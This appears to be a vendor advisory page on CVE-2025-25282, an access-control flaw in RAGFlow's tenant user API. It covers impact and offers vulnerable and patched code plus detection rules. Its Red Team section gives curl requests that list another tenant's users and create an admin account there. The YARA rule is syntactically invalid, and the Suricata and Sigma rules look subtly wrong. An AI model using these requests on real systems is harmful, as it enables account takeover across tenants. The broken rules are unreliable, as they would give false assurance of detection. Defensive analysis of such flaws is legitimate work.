CVE-2025-25282
Executive Summary
CVE-2025-25282 is an Insecure Direct Object Reference (IDOR) vulnerability in RAGFlow, an open-source Retrieval-Augmented Generation engine. An authenticated user can manipulate tenant IDs in API requests to gain unauthorized cross-tenant access. This allows listing user accounts from other tenants and adding user accounts to other tenants, leading to privilege escalation and data exposure. The vulnerability is unpatched, and no public exploit code is available. The CVSS score is 8.1 (High), with a low attack complexity and no user interaction required.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
RAGFlow is a Python-based project distributed via PyPI and Docker. The IDOR vulnerability affects the core API logic, not a specific package dependency. However, supply chain risks include:
- Dependency Confusion: Attackers could publish malicious packages with similar names to RAGFlow dependencies.
- Compromised Upstream: If the project maintainers are compromised, a backdoor could be introduced.
- Unpatched Dependencies: The vulnerability itself is unpatched, but other dependencies may have known CVEs.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Requires authentication.
- User Interaction (UI): None (N) – No user action needed.
- Scope (S): Unchanged (U) – Affects only the vulnerable component.
- Confidentiality (C): High (H) – Full access to tenant user data.
- Integrity (I): High (H) – Can add users to other tenants.
- Availability (A): None (N) – No denial of service.
Threat Level: High. The vulnerability allows lateral movement and privilege escalation within a multi-tenant RAGFlow deployment.
Deep Dive & Mechanics
The vulnerability lies in the API endpoints /api/v1/<tenant_id>/user/list and /api/v1/<tenant_id>/user. The application fails to validate that the authenticated user belongs to the specified tenant. An attacker can enumerate tenant IDs (e.g., via brute force or by observing patterns) and then:
- List Users: Send a GET request to
/api/v1/<target_tenant_id>/user/listto retrieve all user accounts in that tenant. - Add User: Send a POST request to
/api/v1/<target_tenant_id>/userwith a JSON body containing the new user's credentials, adding an account to the target tenant.
The root cause is the lack of authorization checks on the tenant ID parameter. The application should verify that the authenticated user's tenant matches the tenant_id in the URL.
Vulnerable vs. Patched Code
Vulnerable Code (Python/Flask example):
@app.route('/api/v1/<tenant_id>/user/list', methods=['GET'])
@login_required
def list_users(tenant_id):
users = db.query("SELECT * FROM users WHERE tenant_id = ?", tenant_id)
return jsonify(users)
Patched Code:
@app.route('/api/v1/<tenant_id>/user/list', methods=['GET'])
@login_required
def list_users(tenant_id):
current_user_tenant = get_current_user_tenant()
if current_user_tenant != tenant_id:
return jsonify({"error": "Forbidden"}), 403
users = db.query("SELECT * FROM users WHERE tenant_id = ?", tenant_id)
return jsonify(users)
The patch adds a check to ensure the authenticated user's tenant matches the requested tenant ID.
Exploitation & Lab Setup
Red Team
Prerequisites: Valid credentials for any tenant in the RAGFlow instance.
Step 1: Enumerate Tenant IDs
- Use a wordlist or brute force to discover tenant IDs (e.g., UUIDs, integers).
- Example:
curl -X GET "http://target.com/api/v1/1/user/list" -H "Authorization: Bearer <token>"
Step 2: List Users from Another Tenant
curl -X GET "http://target.com/api/v1/2/user/list" \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json"
Step 3: Add User to Another Tenant
curl -X POST "http://target.com/api/v1/2/user" \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{"username": "attacker", "password": "P@ssw0rd", "role": "admin"}'
Expected Output: The attacker gains access to the target tenant's user list and can create a new admin account.
Blue Team
Detection: Monitor for anomalous API requests where the tenant ID in the URL does not match the authenticated user's tenant. Implement logging of all tenant ID changes and user additions.
Prevention: Apply the patch as soon as it becomes available. In the interim, implement a Web Application Firewall (WAF) rule to block requests where the tenant ID in the URL does not match the user's session.
Honeypot: Create a fake tenant with a known ID and monitor for unauthorized access attempts.
Indicators of Compromise (IOCs)
- Network: HTTP requests to
/api/v1/<tenant_id>/user/listor/api/v1/<tenant_id>/userwith a tenant ID different from the authenticated user's tenant. - Logs: Multiple failed authorization attempts (403 errors) followed by successful user creation in a different tenant.
- User Accounts: Unexpected user accounts in tenants, especially with admin roles.
- File System: No specific file IOCs; the vulnerability is API-based.
Detection Engineering
YARA Rule
rule CVE_2025_25282_IDOR_RAGFlow {
meta:
description = "Detects IDOR exploitation attempts in RAGFlow API logs"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-25282"
strings:
$api_list = "/api/v1/" ascii wide
$api_add = "/api/v1/" ascii wide
$user_list = "/user/list" ascii wide
$user_add = "/user" ascii wide
$http_method = "GET" ascii wide or "POST" ascii wide
condition:
($api_list or $api_add) and ($user_list or $user_add) and $http_method
}
Sigma Rule
title: CVE-2025-25282 IDOR Exploitation in RAGFlow
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit IDOR vulnerability in RAGFlow by accessing user endpoints with mismatched tenant IDs.
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-25282
logsource:
category: webserver
product: nginx
detection:
selection:
cs-method:
- 'GET'
- 'POST'
cs-uri-stem:
- '/api/v1/*/user/list'
- '/api/v1/*/user'
condition: selection
falsepositives:
- Legitimate multi-tenant admin operations (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-25282 RAGFlow IDOR Exploitation Attempt";
flow:to_server,established;
content:"/api/v1/"; http_uri;
content:"/user/list"; http_uri; distance:0;
content:"/user"; http_uri; distance:0;
classtype:attempted-user;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate Tenants: Use network segmentation or separate RAGFlow instances for each tenant.
- WAF Rules: Block requests where the tenant ID in the URL does not match the authenticated user's tenant.
- Monitor Logs: Enable detailed logging for all API requests and alert on anomalies.
Long-Term Fix:
- Apply the official patch from the RAGFlow maintainers once released.
- Implement proper authorization checks in the API layer (e.g., using Flask decorators or middleware).
- Conduct a security audit of all API endpoints for similar IDOR vulnerabilities.
Workaround:
- Modify the source code to add tenant validation (as shown in the patched code section) and redeploy.
Valters IT